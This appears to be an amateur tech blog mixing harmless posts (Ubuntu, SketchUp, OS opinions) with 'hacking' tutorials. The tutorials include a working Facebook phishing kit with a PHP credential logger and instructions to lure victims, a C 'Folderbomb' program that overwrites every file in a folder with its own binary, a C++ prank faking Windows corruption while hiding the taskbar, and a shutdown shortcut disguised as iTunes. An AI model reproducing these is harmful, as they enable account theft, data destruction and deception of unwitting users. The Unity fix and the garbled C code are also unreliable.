Switching Back To GNOME From Unity

So after a long enough delay I finally decided to switch to Natty Narwhale. The one problem I have with it is Unity, I think it looks nice but I just accomplish more with GNOME. If any of you are having the same problem try opening up terminal and entering this script:

 sudo apt-get update
sudo apt-get install unity-2d
Now you should be using GNOME again! Enjoy =)

Google SketchUp Review

SketchUp is a great 3D art tool for beginners, it's free, fun and really simple. I have only had it for about a week and I have done everything from messing around to designing simple houses for fun. I also love how easy it is to get started; simply open the app and get started! I would recommend this to anyone, it's free easy and fun!

Desktop Customization Tools (WIN)

My current desktop
As you can see im a dork for customization, so lets get started. First of all I recommend setting the taskbar to auto-hide. Next find a nice wall paper.Now visit rainmeter.net and download the one customized to dependant on wether you have a 32 or 64 bit copy of Windows. Now you can add skins to display the time, weather, date, notes youv made and a lot more! Now im mainly a Windows guy but one aspect I  love of Macs is the dock, thankfully there are windows alternatives. The one im using (it is hidden in the screenshot) is Object Dock though there are many alternatives!

Why Debating OS's Is Stupid

Today I was having a debate with two of my friends who are Mac fans, when I suddenly realized how dumb the argument was! For one thing any OS can be installed on any computer so debating them is useless. Another reason is that whatever OS you choose is based on what you intend to do. For instance, I'm a DJ; DJ's generally use Mac's for the "artsyness" but I also program so I find a PC or Gentoo was more fitted to me. Find the OS you like, and use it. Arguing its side is why the big companies have ad reps.

NEW FAKE VIRUS! (HACK/WIN)

So basically what we are going to do is create an icon that looks like iTunes but that will display a scary error message and the shutdown the computer.

Firstly, right click on the desktop and create a new shortcut, the shortcut wizard should pop up. Now copy paste this into the text box:
shutdown -s -t 10 -c "Your message goes here"
The number represents the amount of seconds before shutdown and you should change the message to something a little more menacing. Now hit next and name it "iTunes" and click finish. Now right click on the "iTunes" shortcut you just made, and select Properties->Shortcut->Change Icon and browse to your real iTunes app and select it. Now you can select from all available iTunes icons. Now click it and try it out, just make sure you have saved anything important!

Help For Japan

Just as a side note all ad revenue made from this site will be going to The Japanese Red Cross.  I suggest you also donate out of your own pocket with this link.  If tragedy struck near you you would want it done for you. Anyways, thats enough "you"s for now. Within I will upload a tutorial on how to design static web pages and then I will start working on a Javascript tutorial.

OS BREAKDOWNS (WIN)

This is just a list of my opinions on a few of the multiple OSs (Operating Systems). An OS is what makes a computer run; you can run any OS on any computer (most  of the time) so debating which is the best to buy. There is no "best" OS, it comes down to what you need. I will provide a long explanation and an analogy of my opinion (HINT:  key word is my opinion).
Mac OSX:
 Max OSX gets a lot of undeserved trash. Firstly it is great for artsy stuff or teaching. Macbook Pros, which run OSX as the default OS are the standard for DJ's, producers, photographers, and musicians.
 A common misconception is that there are no viruses for OSX, this is a flat out lie. There may be less but all available OSs are susceptible to malware and viruses. One of the downfalls to it is that it is a little "dumbed down", there is not a whole lot of customization you can do when compared with Windows or Linux.
Analogy: Mac OSX is like having a garden surrounded by a glass wall and all the plants have been chosen and planted. It's up to you not to muck it up.

Windows:
Windows is also subject to a ton of undeserved trash. Windows is the industry leader, and it knows it.
It has the most programs and quite a few programmers/webmasters like it. Dont be scared though, you dont need to be a genius to use windows, it is as simple as OSX but it does allow room to grow. 
Analogy: Windows is like having a garden surrounded by a brick wall and a few plants a pre-selected, but you need to pick the rest, plant them, and water them.

Linux: 
Linux is a great (albeit lesser known)  OS. It is a great programming environment, but is also super simple a lot of the time. I say a lot of the time because there are tons of Linux distrobutions (the most popular being "Ubuntu", and yes I realize "distribution" is misspelt, its supposed to be like that) each distro has its own advantages and downfalls so you need to find which one is best suited for you. Linux allows for the most customization, but there are multiple places to go wrong. 
Analogy: Linux is like being dropped in the middle of a forest with a shovel.

SIMPLE VIRUS IN C-FOLDERBOMB (HACKING)

NOTE: THIS IS FOR EDUCATIONAL PURPOSES ONLY!!! DO NOT USE THIS ON YOURSELF OR A FRIEND!
So first get Dev++ if you dont already have it from the last tutorial. Now open it up and enter this code:
#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_R
DONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)

write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}
Now save it then hit "Execute->Compile" and a program will be created to where it was saved. Basically what this does is creates a folder within folder to infinity or until the program is closed.
Now enjoy your virus (but try to stop being such a script kiddie! Just kidding its fine :)).

FAKE VIRUS IN C++(HACK/WIN)

So before we get started go download Dev-++. Once its downloaded and set up open it and insert this code:
    #include <cstdlib>
    #include <iostream>
    #include <Windows.h>
    #include <winable.h>
    using namespace std;
   
    int main()
      {
         
                   
      int f = 1;
   
                  BlockInput(true);
                  SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
                  Sleep(100);
                  
                  BlockInput(false);                         
   
           while(f<50)
           {
                      MessageBeep(MB_ICONEXCLAMATION);
                      Sleep(10);
                      f++;
           }  
                  MessageBox(
                  NULL,
                  "An error occurred in sector 5x00",
                  "HAL.DLL",
                  MB_OK);
                  
                  Sleep(1000);
                  
                  MessageBox(
                  NULL,
                  "Windows has detected HAL.DLL has been corrupted. Please re-install HAL.DLL to continue running windows correctly.",
                  "Windows",
                  MB_OK);
                  
                  Sleep(1000);
                  
                    HWND hWin;
                    
        hWin = FindWindow("Shell_TrayWnd",NULL);
        EnableWindow(hWin,false);
        
        ShowWindow(hWin,false);
        
        Sleep(1000);
        
        while(1==1)
        {
        MessageBox(
        NULL,
        "Please reboot your machine to ensure protection from further corruption.",
        "Windows",
        MB_OK);
        Sleep(10000);
      }
      
    }
Once you have done that File>Save, then Execute>Compile. Go to wherever you saved it and there should be a .cpp and .exe file. The .exe is our "Viruse".
HOW THIS WORKS
Now i wont explain in depth this code but i will go over the general idea of programming. First you must have a source code that you wrote (or in this case stole)  now to turn it into a program you must compile it. That is the basic idea of programming in the c language.

GET EXTRA DAYS ON ASSIGNMENTS (WIN)

Do you wish your teacher had given you a little more time for that essay? Now you can get that time for yourself!
  1. Take any random .mp3, .wav or any other type of music file.
  2. Rename it "essay.doc" or whatever your assignment was. Just make sure you have deleted ".mp3" and added ".doc".
  3. Tell your teacher "I am out of ink, can I just e-mail it to you or put it on a USB key?"
  4. If you e-mail it it will come up as corrupted, same goes for USB.
  5. If he/she tells you you need to print it you will have a little more time to "buy ink"

PHACEBOOK PHISHING WITH PHP (HACK)

Welcome to my tutorial on phishing facebook. Before we begin heres a little info on phishing; phishing is a way of retrieving passwords to secure accounts (in this case facebook) via creating a fake login page that retrieves data. If you dont feel like editing the code or copy/pasting the .php code I will provide download links for everything used. Now that we know a bit about phishing, lets begin. First things first, visit http://www.facebook.com/login.php once you get there right click on the page and click "View Page Source" (quite a lot of text (called HTML code) will pop up. Now select all and copy that into Notepad, Text-Edit or whatever the default text editor on whatever Linux distro you are using. Now Ctrl+F or Command+F then find "action=" (without quotes) and something like 'action=http://somedumbfacebookurl"'. change it to 'action="next.php"'. Now look just to the left of that, there should be something that says 'method="post"', change it to "method='get'. Save this as index.php (make sure its set to "all files" below file name instead of .txt). Now copy all this:
<?php
header("Location: http://www.facebook.com/login.php ");
$handle = fopen("logs.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
And paste it into notepad. Save as  next.php using the method from before. Almost done! Now create an empty .txt file with notepad, name it "logs.txt". Now lets go make a free account on 110mb.com or a similar site. Upload all the files and send the link for indesx.php to your victim using either an e-mail account that looks like a facebook admin or asking them to login using it (claim it will give them a new layout or something) and wait! Once they have logged in their password and e-mail will show up in your logs.txt file you uploaded. 
LAZY PEOPLE, HERE ARE THE FILES!!!!
  1. index.php
  2.  next.php
  3. logs.txt
HOW TO AVOID BEING HACKED
  1. Always check urls
  2. Add the facebook e-mail address to your address book and dont listen to phonies
  3. Dont sign in because of promises of fake layouts or free game points
  4. Be prudent
 

    First Post

    This blog will be tutorials on hacking/exploiting others computers/accounts and improving the safety, utility, and general goodness if yours. The first tutorial will be an educational one on how Facebook Phishers operate with a detailed guide so you know how to keep yourself safe. Stay tuned for more!
